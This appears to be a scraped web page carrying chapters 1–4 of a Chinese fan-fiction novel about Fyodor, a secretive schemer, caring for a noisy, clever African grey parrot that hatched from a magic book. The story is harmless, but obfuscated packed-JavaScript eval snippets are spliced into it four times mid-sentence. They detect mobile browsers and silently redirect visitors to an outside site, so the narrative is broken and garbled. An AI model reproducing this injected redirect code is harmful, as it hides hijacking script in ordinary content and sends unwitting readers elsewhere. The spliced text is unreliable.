《给陀总当崽的那些年》 1. chapter1 “嘎嘎!嘎嘎!”俄国某地区,一户人家时常传来鸭子般粗粝的叫声,吵吵闹闹的,扰得人不得安宁。 邻居们有时也不胜其烦,便来敲这户人家的门。来开门的是一位脸色苍白、显得有些憔悴的青年,头上戴着一顶毛绒帽。眼下正是初春,因而这幅打扮倒是不显得奇怪。 “啊,抱歉,是我的家人在叫嚷。”青年听了邻居的诉求,温和地说道,“它叫做德米特里,是一只非洲灰鹦鹉,我两个月前收养了它,明明之前都是好好的,近期不知怎的,突然开始学鸭子嘎嘎叫。” 邻居是一位卷发披在肩上的中年妇女,附近的人们都叫她玛利亚夫人。玛利亚夫人听了青年的话,一开始还疑惑,对方的家人怎么会像鸭子一样叫唤?听着对方后面的解释,也理解了。 很多人都将宠物当做家人,像是猫儿、狗儿,所以对方将一只鹦鹉称作家人也不奇怪。因着对方诚恳的道歉,玛利亚太太倒是没有多做纠缠,只是好奇地询问起了有关德米特里的事。 “哦,原来如此,它叫德米特里,听上去真是个聪慧的男孩。我听说非洲灰鹦鹉是一种非常聪明的鸟儿,它知道德米特里是它的名字吗?”玛利亚太太忍不住追问起来,“我是说,你叫它名字,它会应吗?” 费奥多尔笑了笑,说道,“当然。它听得懂自己的名字,不过有时候我叫它,它也会装作听不见。” “这又是为什么呢?” “谁知道呢。”费奥多尔耸了耸肩,“也许是因为我手上没有拿着它爱吃的坚果吧。哎呀,不说了,德米特里又在吵了,我得回去看一下它。” “调皮的男孩!”玛利亚太太说道,“你快回去吧。我也去买菜了。” 两人就此别过,费奥多尔回到了自己的家。在两个月前,也就是收养德米特里的时候,他搬到了阿尔泰边疆区,从本地一户人家手里买下了一栋三层楼的小别墅。 回到家里,原本只是隐隐响着的“嘎嘎”声就变得更加猛烈了,一只幼年的看不出品种的鸟类一见到费奥多尔回来,就叫得更大声了。它待在一个没上锁的笼子里,每次叫唤,脖子都会发生伸缩,看起来就像一个快速缩起、抬升的长毛弹簧。 费奥多尔一见到它就有种叹气的冲动,而他确实也这么做了。 “过来,德米特里。”他有气无力地说道,“你知道你又给我惹麻烦了吗?上次,你对着窗户外面发出怪叫,结果引来了一只鹰,差点就被抓走了。现在,你又不知道从哪里学来了鸭子的叫声,改成折磨我了,我已经几天没睡好觉了。” “咕,咕咕。”浑身覆盖着灰色绒毛的幼鸟发出咕叽咕叽的叫声,像是不明所以似的,歪着头看着饲养人,浅灰色的虹膜在光线下显得有点亮晶晶的,一副无辜的样子,叫人不舍得大声凶它。 费奥多尔倒是没有凶它的意思,只是觉得无比疲惫。早在最开始收养德米特里的时候,他还会尝试驯服这只聒噪的鹦鹉,试图让它变得乖巧起来,现在他却已经没了那个意思,因为德米特里实在是太能折磨人了。 之前的事暂且不提,单就这几天,德米特里由于某些缘故,疯狂学鸭子嘎嘎叫,费奥多尔就算把自己关进地下室,都能听到那穿透性极强的叫声,就连隔着一百多米的邻居,都受不了跑来找他投诉,殊不知他才是受德米特里折磨最严重的人。 这两天,他几乎要疯掉了,睁着黑眼圈极重的眼睛,瞪着眼前泛着白光的电脑屏幕,毫不怀疑自己已经被德米特里害得精神衰弱了。在最崩溃的那一刻,他甚至想过要与这只可恶的鹦鹉同归于尽。 不过他最后还是忍住了,仅剩的理智阻止了他这么做。 他试了很多种办法,想要让德米特里安静下来。但是以往管用的坚果失去了效用,德米特里好像突然对坚果失去了兴趣,费奥多尔用坚果喂它,它倒是来者不拒,只不过吃完之后还是在叫嚷,治标不治本。 费奥多尔听得久了,甚至有种淡淡的习惯,他觉得如果德米特里坚持得再久一些,他说不定可以做到在德米特里持续不断的魔音贯耳中进入深度睡眠。曾经困扰他的失眠症已经不再是烦恼,这都得谢谢德米特里,费奥多尔必须抓紧时间睡觉,才不至于被德米特里打断休息。 休息已经变成了争分夺秒的事情,费奥多尔此时已经有点回忆不起来彻夜的失眠是什么样的感受了,现在只要给他一个安静的环境,还有一张不算太糟糕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193404|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的床、稻草铺成的也行,他就能在五秒之内进入梦乡——没有一点夸张的成分。 “……咕咕,咕咕咕。”德米特里见费奥多尔不说话了,慢慢地挪动到笼子边缘,浅灰色的眼睛一眨不眨地看着他,断断续续地发出可怜兮兮的叫声,如果不是费奥多尔早就知道它是个什么德行,恐怕都要被它装模作样的样子骗了,误以为它是一只乖巧的小鹦鹉了。 “……说了让你别模仿其他鸟的叫声,德米特里。”费奥多尔说道。邻居家养了几只鸡,总是咕咕的叫,德米特里大概就是听到了,才学会了咕咕。 德米特里歪着头,不作声,在费奥多尔伸出手接它的时候蹦跶到了手上,然后整只鸟蹲下来,看起来就像一个灰色的毛球。 费奥多尔跟它大眼瞪小眼地僵持了一会儿,以往这种情况,德米特里都会昂着脑袋,非要他眨眼了才肯眨眼,出乎意料,这次是德米特里先眨眼……不对,闭眼了。 就像世界上的大多数幼崽一样,平时精力充沛的雏鸟这回毫无征兆地睡着了,天知道,这是它三天以来的第一次睡眠,而费奥多尔对这一时刻期待已久——它终于安静下来了! 看着它终于缓慢地阖上了眼,费奥多尔下意识将呼吸放轻了。他看向鸟笼里的小窝,那是德米特里睡的地方。他小心翼翼地幼鸟放进窝里,大气也不敢出地看着它颤动的眼皮,担心下一秒它就会睁开眼睛——那一定是费奥多尔最不想见到的事。 好在,它这回终于有了雏鸟的样子,闭眼之后就睡得很熟。鹦鹉睡着的样子看起来很温驯,一点也没有平时闹翻天的样子。 费奥多尔拖着沉重的脚步,黑眼圈重得要命,朝着卧室走去,走到一半,不知想到了什么,又回到鸟笼前面看了一眼,见雏鸟依旧睡着,才下意识松了口气。本想去睡觉,没走几步,又回头轻轻地关上了笼子门,否则德米特里醒来后或许会从笼子跑出来。 解决完一切可能的隐患之后,费奥多尔总算可以开始享受难得的睡眠了。几乎在后脑勺沾到枕头的一瞬间,他大脑里装着的所有复杂的事物——比如一些见不得人的袭击计划,还有组织周密的行动部署,都被立刻清空了。 他睡着了。 2. chapter2 两个月前,莫斯科州。 一个全身被笼罩在黑斗篷下的人行色匆匆,走在静悄悄的小道上,胳膊下夹着一本红皮书,因为脚步较快,呼吸也变得有些急促。 此时正是夜晚,月亮藏在厚厚的云层身后,路灯似乎有些年头了,投射下来的光线只能勉强照亮前方的路面,让这路上唯一一个行人不至于被障碍物绊到。 费奥多尔独自走在路上,带着一本看似平平无奇的书,只有费奥多尔知道这本书代表了什么。 他曾从传言中得知了这本书的存在,又用时间基本确认了传言的真实性,世界上真的存在这么一本神奇的书,只有在上面写下一个逻辑完整的事件,或者说故事,就可以使其成真。 现在他已经得到了这本书,不论过程如何,他已经是【书】的主人了。 路过一个巷子的时候,费奥多尔还沉浸在得到【书】的狂喜之中,尽管隐约听到有人在交谈,“怎么办?好不容易搞来的鸟蛋裂开了一道缝。”“这可是那位大人指名要的宠物,我从哪再找来一颗非洲灰鹦鹉的蛋?这玩意儿在俄罗斯太稀罕了……”费奥多尔还是置若罔闻,他可没工夫管闲事。 在如今的俄国,非洲灰鹦鹉这种产自非洲的鸟类是很少见的,前阵子颁布的政策明令禁止了饲养和贸易这种鸟类。费奥多尔听说过这种鸟,据说是世界上最聪明的鸟类,非常擅长学舌,有极个别非洲灰鹦鹉甚至能与人类进行简单的交流,不是单纯学舌,而是能理解词汇意思的那种交流。 他步履匆匆地走了,没多久就到了临时据点。这个据点已经很久没有人来打扫过了,打开门,屋内灰尘的气息扑面而来,最里面摆着一台电脑,因为用防尘布罩着,倒是没有落下多少灰。 他略微松开了夹着书的胳膊,正想在书上写点什么,却发现无论如何也翻不开书,像是用胶水黏在一起了似的,十分牢固,如果硬要撕开,肯定会导致相当大的破损。 费奥多尔:“……” 有关【书】的情报太少,费奥多尔也不知道这是怎么回事。无计可施之际,只好暂时先放在一边,后面慢慢解决。 为了【书】,他已经好几天没有休息了,现在大功告成,他带着【书】回到了安全的据点里,好像没有什么可担心的,这么想着,费奥多尔从身体深处泛上一股厌倦,趴在桌子上睡着了。 等他醒来的时候,意外就出现了。他发现【书】不见了,原本放着【书】的地方,现在正静静地躺着一颗鸟蛋。 翻翻找找半天,费奥多尔也没有找到【书】的踪迹,他匪夷所思地拿起那颗鸟蛋,过了很长时间才接受了一个残酷的事实——好不容易到手的【书】,变成了一颗看似无用的蛋。 . “嘎嘎!嘎嘎嘎!”耳边传来熟悉的聒噪声音,费奥多尔挣扎着睁开眼,直勾勾地盯着天花板看了半天,混沌的脑海才恢复了清醒,他掀开盖在身上的被子,艰难地从床上爬起来,看向鸟笼的方向。 从他这个角度,只能看到鹦鹉的鸟喙一张一合,是德米特里,它总是醒得比费奥多尔这个饲养者更早,眼下正在努力地制造噪音,把费奥多尔准时叫醒。 费奥多尔一觉起来之后,觉得疲惫减轻了不少,不过仍然犯困得厉害。他看了一眼挂在墙上的时钟,正好是早上七点。 走到窗户旁边,拉开厚厚的窗帘,就发现天色整体还是昏暗的,不过天边已经泛起了鱼肚白,邻居家的鸡也开始打鸣,费奥多尔隔了一百多米,仍然可以听到抑扬顿挫的鸣叫声。他定睛一看,发现那只昂首挺胸打鸣的鸡正是玛利亚太太家的,玛利亚太太起得很早,这时候也已经穿着围裙出来干家务了。 费奥多尔抹了把脸,自从养了德米特里之后,他再也没有在早晨到上午这个时间点睡觉过,因为德米特里这个时间永远都很精神,费奥多尔只能陪着它一起醒着,否则它就会发出抗议,吵得他脑仁痛。 以前,费奥多尔都是夜行生物的作息,在夜里活动更频繁,白天则通常用来休憩。而德米特里硬生生扭转了他这一习惯,让费奥多尔这个惯于在夜深人静时出没的夜猫子作息都变得阳间起来了。 费奥多尔走到鸟笼旁边,德米特里就扑扇着毛都没长齐的翅膀窜到了他手上,发出乞食的声音。 德米特里已经明显认人了,它对费奥多尔显然是有印象的,最开始的时候费奥多尔还会一字一顿地对它重复,试图让它记住,“我是费奥多尔,也是你的主人、你的家人,德米特里,你必须听我的话。” 到了后来,他发现根本不需要他特地加深记忆,德米特里已经牢牢地记住了他,它实在是一只聪明得有些过头的鹦鹉,很小的时候就会学舌,能够清晰地说出费奥多尔的全名。 德米特里第一次开口说话的时候,费奥多尔坐在沙发上看书,旁边就是德米特里的鸟笼。突然,费奥多尔听到了一道陌生的声音,略有些沙哑,像是男孩变声期的音色。 “……费奥多尔……” 费奥多尔立刻看向声音的来源,就看到了一只说话的鹦鹉。是德米特里在说话,它像是不知道自己说了什么似的,如往常一般直直地看着他的眼睛,从喉咙里发出咕咕叽叽的声音。 再后来,德米特里就渐渐理解了它所说的话的含义,“德米特里”是它的名字,而“费奥多尔”是它的饲养员的名字。以雏鸟的智商,或许还理解不了费奥多尔的身份,却已经记住了这个每天陪着它、像亲鸟一样照顾它的两脚兽。 不像大多数鹦鹉只记得主人的手,德米特里甚至认得费奥多尔的脸,证据就是,有一次费奥多尔看见它自己跳出了笼子,探头探脑地打量着一个装着他照片的相框,鸟喙里发出模模糊糊的学舌声音,依稀可以辨认出“费奥多尔”的发音。 照片当然不会理会德米特里的打招呼,它重复念了好几遍“费奥多尔”,像是有些疑惑,见到费奥多尔本人走过来的时候,绿豆大的眼睛都瞪大了,像是第一次照镜子的猫一样惊讶和茫然。 费奥多尔活了这么多年,还是第一次养鹦鹉,就像养小孩子似的,无时无刻不在操心,他收养德米特里最初只是因为【书】,现在却在不知不觉中沦为了对方的奴隶,将一天中的大部分时间都花在了对方身上,就连之前筹备的建立【死屋之鼠】的事情都耽搁了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193405|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他叹了口气——这已经是他这两个月以来的第不知道多少次叹气了。 “德米特里。”他对着手上的鹦鹉唤道,而对方很快响应了他的呼唤,拍着翅膀大声叫了起来,“德米特里!德米特里!” 等费奥多尔将它托举到面前,它又高兴地叫嚷着,“费奥多尔!费奥多尔!”它张开翅膀,想要用胸前的绒毛去蹭费奥多尔,看上去像个灰色的毛绒玩具。 “走吧,我带你出去看看。”费奥多尔见它喙上沾着谷物,知道它已经吃饱了,自己也随便填了下肚子,然后说道。 德米特里现在还只有两个月大,已经比寻常的麻雀要大上一圈了。它还没有长出用于飞行的羽毛,只能蹲在费奥多尔的毛绒帽子上,好奇地观察着四周。 他们生活的地方就在俄罗斯的阿尔泰边疆区,现在正是初春,泛黄的草地上残留着还未完全融化的冬雪,费奥多尔带着德米特里散步,经过了邻居家的牛棚,里面的奶牛慢悠悠地“哞”了一声,吸引了德米特里的注意力。 它新奇地看着这一切,天地间的一切事物对它来说都是如此特别,为了回应奶牛的叫声,它也嘹亮地叫了起来,费奥多尔本来还残余了些困意,一下子就完全清醒了。 鹦鹉的叫声还吸引来了一只鸡,那只鸡从房子后面谨慎地探出了头,一步一顿地走近,费奥多尔淡淡地看着它,也没有要躲的意思。这只是一只普通的家养鸡而已,并非那种攻击性很强的大鹅。 本来也没有什么大事,直到德米特里对着那只鸡“咕咕”叫了几声,那只鸡也“咕咕”地叫了回来,就像是在跨物种对话似的,费奥多尔看着都有几分好笑,结果下一秒,那只鸡就像是被激怒了似的,猛然拍打起翅膀,将水洼里的水浇到了费奥多尔的裤腿上。 费奥多尔一直以来都身体不大好,从来都是身体跟不上脑子的反应,这回也是一样。他一看鸡拍打翅膀的动作,就知道不妙,可是他脑子反应过来了,身体却没有,结果就是裤腿上沾上了泥点子,他穿得不算很厚,就连小腿也感到了一阵凉意。 费奥多尔目光沉沉地看着那只鸡,“……” 那只鸡仿佛也感受到了杀意,立刻“咕咕咕”地跑远了。 “这得怪你,德米特里。”费奥多尔语气平静,却让罪魁祸首的德米特里不自觉地缩了一下。 “现在,你的外出时光结束了。”费奥多尔宣布道,而德米特里歪着脑袋,不明白发生了什么,直到发现费奥多尔带着它往家的方向走,它才发出了惊天动地的惨叫和哀鸣,仿佛费奥多尔不是要带它回家,而是要将它下锅煮了。 费奥多尔无视了德米特里的抗议,一锤定音地说道,“虽然你还没成年,但我必须教你一个道理——” 他将德米特里塞进了半人高的鸟笼里,面无表情地戴上了隔音效果欠佳的耳塞,虽然德米特里发出的魔音还是源源不断地灌入他的耳朵,他仍然不为所动地在笼子门上挂上了一把锁。 “就算你是一只鹦鹉,你也要为自己的所作所为付出代价。”费奥多尔说着,起身去洗裤子了。他订购的洗衣机还在路上,现在只能手洗了。 3. chapter3 初春的天气,不算太冷,但也绝对谈不上暖和,通常都在五摄氏度以下。 费奥多尔早就习惯了俄国的低气温,洗裤子的时候,也没有特地烧热水,就是随手接了盆冷水,将手伸进水里的时候微微顿了一下,水温比他预料的还要更低一些,他抬头看了一眼温度计,刚好零度。 费奥多尔面无表情地洗完裤子,意思意思地拧出布料中一部分水,就将湿哒哒的裤子晾在了阳台上,也不管裤腿处还在滴滴答答的水。 反正阳台上没有铺地毯,而他又不急着要穿这条裤子,慢点干也无所谓。当然,最重要的原因还是,他想节省些力气,留着应付德米特里。 德米特里还在嚷嚷,费奥多尔朝着它走去,它才停止制造噪音,转而用喙去啃笼子门上挂着的锁,眼神期待地看着费奥多尔,等费奥多尔打开笼子,它立刻扑腾着翅膀,迫不及待地跳到了费奥多尔冰凉的手上,它还没到学飞的年纪,看上去就像一只笨拙的走地鸡,尽管很努力地拍打着翅膀,还是很难飞起来。 德米特里一跳到他手上,就发出了惊吓似的叫声,一改平常喜欢窝在人手上的习惯,踮起脚来。 费奥多尔知道是自己手太冷了,德米特里的爪子落在自己的手上,就跟抓着一块冰差不多,瞧,鹦鹉的毛都要炸起来了,让它相对成鸟比较稀疏的绒毛也显得蓬松起来了。 看着幼鸟这幅炸毛的模样,他嘴角出现了不明显的弧度,在意识到自己笑了之前,他很快收回了笑意,将德米特里放进了大衣侧面加绒的口袋里。 作为一只直肠子的鸟类,德米特里唯一的优点就是它不会乱拉,所以费奥多尔放心地把它放进了口袋里,这样一来,德米特里贴着他,也不会叫唤得太厉害,如果运气好的话,或许还会彻底安静下来。 在如今,俄罗斯人几乎家家户户都有壁炉,费奥多尔家也不例外,就在沙发的旁边,有一个噼里啪啦烧着柴火的壁炉,为这个料峭的春天带来了一丝暖意。 因为天气冷,费奥多尔已经关上了门窗,这个房子水平面积不算小,又有三层楼高,所以即使在密封环境内用壁炉取暖,也不会造成一氧化碳中毒的问题。 过了大概十来分钟,费奥多尔才感受到了壁炉带来的温暖。他低头看了一眼鼓起来的口袋,德米特里刚开始还在咕咕咕的叫,慢慢地就真的安静了下来,现在已经有好几分钟没动了。费奥多尔轻轻地掀开口袋的一角,看见它的眼睛都已经闭上了,胸脯还在有规律地起伏,看起来很有生命力。 费奥多尔放轻了呼吸,想趁着德米特里睡着,去做一些事情,比如用电脑联络一下旧部,和他们商量某些事务。但是电脑在地下室里,他唯恐站起来会吵醒德米特里,那样可就不好收场了。 比起明亮的地方,费奥多尔还是更适应昏暗的空间,在德米特里到来之前,他从未想过自己有一天会因为电脑在地下室而感到烦恼。 他踌躇了半晌,最终还是没有动作。 算了,想想德米特里。他对自己说道。比起那些可有可无的事务,现在最要紧的是搞清楚【书】的去向,还有德米特里的来历。 于是,他就这么半躺着,将全身的重量压在沙发靠背上,略微偏过头去,暗红的瞳孔里倒映着壁炉中跃动的火光,橙红色的光照在他脸上,竟也让这张苍白的脸显得有了血色。 “……”不知过了多久,费奥多尔被壁炉里突然炸出的火星子惊醒的时候,他才惊觉自己不知不觉中睡过去了,身上暖烘烘的,就连原本冰冷通红的手,也出了些手汗。 他看了一眼时钟,下午一点了。他的身体已经习惯了颠倒的作息和不规律的饮食,所以胃部并没有提醒他用餐。不过他知道,很快就有人……鸟要催促他吃中餐了。 他垂眸看着鼓起的口袋,里头的东西似乎也醒了,蠕动了一下,然后就发出了费奥多尔熟悉的乞食声。 德米特里两个月了,依旧禁不得饿。费奥多尔到现在还对它刚破壳那段时间的经历记忆犹新,当时德米特里还没有断奶,喝的是鹦鹉奶粉。 那时费奥多尔几乎无法拥有连贯的睡眠,因为德米特里每隔两三个小时就需要喂一次,否则就会活活饿死,幼年鹦鹉就是这么脆弱,就像刚出生的婴儿一样。 更何况他也没办法将这件事假手他人,只得亲力亲为,那些天他的黑眼圈比现在还要重,就连旧部伊万来见他时,都忍不住提醒他,要注意休息,生怕他猝死了。 好在那段最难熬的时间已经过去了,德米特里终于断奶了,现在的主食是核桃、榛子之类的坚果,费奥多尔已经不需要彻夜不眠地照顾它了,只要把食物放在食盆里就行,德米特里会自己吃。 尽管如此,这不代表德米特里就好养活了,诚然,它不需要太多物质上的东西,但它需要很多很多的陪伴,费奥多尔必须抽出相当多的时间去陪它,它才会健康长大,这种高智商的大型鹦鹉就是这样,它们能够和人类建立亲密的情感联系,甚至会将人类当做家人对待,非常通人性,然而,一旦人类事务繁忙,无法陪鹦鹉玩耍和互动,它们就很容易出现抑郁的情况。 费奥多尔现在倒是不担心德米特里抑郁,德米特里太活泼了,完全没有消极的征兆。他之所以抽这么多时间陪德米特里,纯粹是因为它太吵了,为了堵上它的嘴,他不得不这么做。 前些天,他被德米特里突然学会的鸭子叫声闹得够呛,其实他也并非完全没有办法让德米特里闭嘴,只要将德米特里放出来,允许它时时刻刻黏在他身边,德米特里就不会那么吵,最起码不会吵得他难以入睡。 以前,费奥多尔为了更方便看顾它,时常将它带在身边,有时就连做正事,就会在电脑旁边放一个纸盒子,用来给德米特里当窝。 现在,为了让德米特里独立起来,费奥多尔买了个新笼子,相对地,还减少了与德米特里的接触,德米特里此时还在戒断期, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193406|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反应难免强烈,又正巧学会了鸭子叫,造成的结果就是家里鸡犬不宁。 可问题是,他不想那么放纵德米特里,有些事情一旦开了头,就很难中止了,今天他因为德米特里的魔音攻击而选择放任,让德米特里尝到了甜头,明天说不定就会变本加厉,到时候事情更难收场。 他忍了整整三天,硬是忍住没有妥协,无论德米特里如何聒噪,他都不为所动。所幸,德米特里终究是熬不过他一个成年人,昨天先于他一步睡着了。 “……咕。”德米特里看着他,用脑袋使劲蹭他,费奥多尔伸手从旁边的矮桌上拿了一把榛子,想着剥给它吃,没成想,他因为指甲不够长,掰不开榛子的外壳。 他盯着自己参差不齐的手指甲,那是他自己啃的。不知道从什么时候开始,或许在很久以前,他就有了啃手指的坏习惯,想事情的时候,不自觉地就开始神经质地啃指甲,完全是无意识的。 他决定换一种坚果,可是德米特里却将喙伸了过去,衔起一枚榛子,张张合合了几下,像是在疑惑,这食物怎么这么硬,它咽不下去,以前费奥多尔都是剥好给它吃的,它没有自己吃坚果的经验。 仿佛面临着什么世纪难题一样,它苦思冥想了半天,忽然,就像突然打通了任督二脉似的,找准角度,一下便撬开了榛子壳。 费奥多尔:“……还挺利索。” 德米特里也学着他说话,“利索,利索!” 他摊开手,将手中的榛子放到鹦鹉面前,鹦鹉就继续开壳,然后一口吞掉里头的榛子,连着吃了十几颗之后,它也有些饱了,剥壳的速度不知不觉间慢了下来,紧接着,它昂起头,与费奥多尔对视,绿豆大的眼睛闪过几分思索,下一秒,它就灵光一闪,衔着一颗剥好的榛子,用喙去蹭费奥多尔的衣袖。 “……”费奥多尔第一时间还没反应过来,他看着鹦鹉开榛子,瞧着还有几分解压,结果德米特里这么快就将注意力转移到了他身上。 他微不可见地停顿了一下,“给我的?” 德米特里喙里含着东西,说话含含糊糊的,不过也能听清它在喊谁的名字,“……费奥多尔!费奥多尔!” 迎着鹦鹉期待的目光,费奥多尔接过榛子,盯着榛子看了好一会儿,突然将榛子丢进了嘴里,嚼了两下,从舌尖上蔓延出一种香醇的味道,几乎没有苦味。 上次吃榛子,好像是很久以前的事了。费奥多尔稍微回忆了一下,几百年前的野生榛子比起现在吃的榛子要苦很多,他还记得当时满嘴苦涩的感觉,舌头都发苦,喝了好几口伏尔加河的水都稀释不了。 德米特里见他接受了,顿时开榛子开得更积极了,屋子里除了壁炉里柴禾燃烧的噼里啪啦声,就只有鸟喙撬开榛子的清脆声响。 很快,剥好的榛子就堆满了一桌子,看着这些榛子,费奥多尔发了会儿呆,就开始一颗一颗地吃,最后一颗不剩地吃完了。 , 4. chapter4 经过几天的戒断期之后,德米特里的反应没有最初那么强烈了。虽然它还是很黏着费奥多尔,也依旧喜欢大声叫嚷,最起码还是有所进步的。 费奥多尔养了两个月鹦鹉,也渐渐地有了些经验,家里时刻备着坚果之类的鹦鹉主食,其次就是用来哄德米特里听话的零食浆果,按照德米特里的口味,它现在最喜欢的食物是榛子和蓝莓,不过费奥多尔不会经常喂它吃蓝莓,因为德米特里总是吃得鸟喙和喙边的绒毛都是蓝莓汁,不好清理。 看在今日德米特里表现良好的份上,晚上,费奥多尔去洗了一小盘蓝莓,一颗一颗地喂给德米特里吃,他还顺手打开了电视,收看莫斯科最近几天的新闻播报。 新闻主持人用标准的俄语念着稿子,“……首都近日来的躁动已然平息……沙皇陛下在公开演讲上表示,将会持续关注莫斯科州的外来人员流动,以更好地防止外国间谍入侵我国,引起不必要的损失……” “……由于政府及社会各方人士的及时援助,东部地区寒潮导致的交通受阻、农业受损情况出现了缓解……” 费奥多尔听着听着,不禁有些出神,德米特里用喙拱了几下他的食指,他才回过神来,“别急,还有。”随后将剩下的蓝莓放到德米特里面前,任它取食。 有些幼年鹦鹉没有饱腹的概念,如果不加限制,就会拼命地进食,进而导致生病。而德米特里是知道饥饱的,吃饱喝足之后,就不再一个劲地往嘴里塞食物。 费奥多尔打算看一会儿电视,又担心将德米特里关到笼子里它会闹腾个没完,于是就把它放在沙发与电视之间的桌子上,也好方便看着它,使它不至于摔到地上。虽说地面上铺了地毯,能够起到一定的缓冲作用,费奥多尔还是多注意了一些,因为对于德米特里这样一只骨骼脆弱的雏鸟来说,从这种高度摔下肯定是会受伤的,搞不好还会骨折。 壁炉烧了快一整天,费奥多尔下午的时候给房子通了一回气,到了晚上,室内仍然是暖烘烘的,费奥多尔在沙发上坐了一会儿,就把大衣脱了下来,用来给德米特里垫着,防止它掉到沙发的缝隙里,现在这件大衣和德米特里一起放在桌子上。 德米特里和他费奥多尔在一起的时候,就没那么爱叫唤,吃饱了就容易犯困,德米特里通常也是这样,不过这次却不一样,它窝在大衣里,昂着脑袋去看电视屏幕,嘴里还时不时发出咕咕叽叽的声音,像是在自言自语似的,一只鸟也自得其乐。 费奥多尔见它这样,也乐得清闲,一人一鸟就这么相安无事地看了十几分钟的新闻,中间开始插播广告,德米特里突然出声了。 “……首都近日来的躁动已然平息……沙皇陛下在公开演讲上表示,将会持续关注莫斯科州的外来人员流动,以更好地防止外国间谍入侵我国,引起不必要的损失……”一道沙哑的男孩声音突然将新闻中的话重复了一遍,几乎一字不差。 费奥多尔看向鹦鹉,放慢语速说道,“下一句呢?” 德米特里抖了抖毛,没有说话。 费奥多尔说道,“你不记得下一句了吗?” 德米特里盯着他看,理解了他的意思,回答,“不记得,不记得!” 费奥多尔略有些惊讶地看着它,重新加深了对德米特里的印象——它确实非常聪明,只听一遍,就能记住主持人说的话,还能准确地复述出这么长的一句话,最重要的是,它听得懂费奥多尔的话。 见此情形,费奥多尔就当着鹦鹉的面拿起了遥控器,从播着广告的电视台切到了另一个专播肥皂剧的电视台,切换到肥皂剧的时候,穿着芭蕾舞裙的女主正在眼含热泪地质问她的男友,“为什么要背叛我,安德烈?我对你还不够好吗?” “不是你不够好,只是安娜她……”安德烈伸出手挽留。 费奥多尔立刻又换了个频道,他觉得没必要让德米特里学这种东西。可德米特里却在下一刻将女主的话重复了一遍,“为什么要背叛我?” 它顿了一下,大概是觉得安德烈的发音有些陌生,就直接给人家换了个名字,“为什么要背叛我,费奥多尔?”它模仿得很来劲,就连语气都带上了一些悲伤,音色也偏向了女声,“我对你还不够好吗?” 说罢,它也睁着绿豆小眼看向费奥多尔,微微张开了鸡翅膀,期待着费奥多尔像男主角一样伸手挽留。费奥多尔见此,不禁沉默了,半晌都没有动作。 德米特里催促地看着他,他才勉为其难地伸手过去,让它可以顺着手臂从桌面扑腾到沙发上来,眼见着它还不罢休,他叹了口气,“别闹了,德米特里。” 见德米特里油盐不进,还要闹,他余光注意到时钟上显示的时间,已经晚上九点了,别人家的小孩这个点早就睡了。 于是他直接把德米特里捞了起来,把它塞进笼子里的鸟窝,下一刻他的耳膜就遭到了巨大的冲击,“德米特里要出来玩,要出来玩!” 德米特里不想待在笼子里,开始了魔音攻击。即使这种魔音已经成了日常的一部分,费奥多尔还是下意识地后退了一步,他感觉脑袋里嗡嗡的,接着就毫不犹豫地拒绝了德米特里的要求,“别想了,德米特里,你现在应该睡觉了。” 德米特里眼巴巴地看着他,发出呜呜咽咽的可怜声音,费奥多尔仍然心硬如铁地宣布道,“你今天的放风时间已经够长了。” 说着,他在笼子门上挂了一把锁,转身走向了地下室。 今天一整天都没干什么正事,光顾着陪德米特里玩了。反正已经休息了一上午,晚上没什么睡意,正好用来做事。 费奥多尔熟练地输入暗网的地址,用自己的账号登了上去,飞速地浏览着各种信息,记下有价值的部分,突然屏幕上跳出来一个消息弹窗,有人联系他。 是他的下属伊万。 【伊万:打扰您了。请问您现在可以打电话吗?我想和您汇报一下近期的事务。】 费奥多尔在键盘上敲下几个字,【可以。】 “嘟嘟。”旁边的座机响起了来电声音,费奥多尔接起电话,“什么事?” 电话那头传来伊万的声音,“您上个月让我查的人,已经抓到了。对方对贩卖非洲灰鹦鹉等等保护动物的行径供认不讳,并承认两个月前曾于莫斯科一带活动,现在我将他关在莫斯科郊外的一处闲置房屋里,除了我们的人,没人知道他在这里。” “看得牢一些,别把人放跑了。我……”费奥多尔顿了顿,“我有时间再去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 